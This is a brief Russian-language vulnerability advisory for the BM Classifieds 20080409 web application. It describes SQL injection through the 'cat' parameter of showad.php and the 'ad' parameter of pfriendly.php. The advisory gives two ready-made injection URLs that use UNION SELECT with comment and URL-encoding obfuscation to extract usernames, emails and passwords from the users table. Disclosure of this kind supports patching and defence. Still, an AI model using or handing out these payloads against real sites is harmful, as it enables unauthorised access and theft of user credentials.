Программа: BM Classifieds 20080409
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «cat» сценарием showad.php и в параметре «ad» сценарием pfriendly.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
showad.php?listingid=xCoRpiTx&cat=-99/**/union+select/* */concat(username,0x3a,email),password,2/* */from/**/users/*
pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect %2F%2A%2A%2F0,1,concat(username,0x3a,email),password, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27%2F%2A%2A%2Ffrom%2F%2A%2A%2Fusers%2F%2A%2A%2F
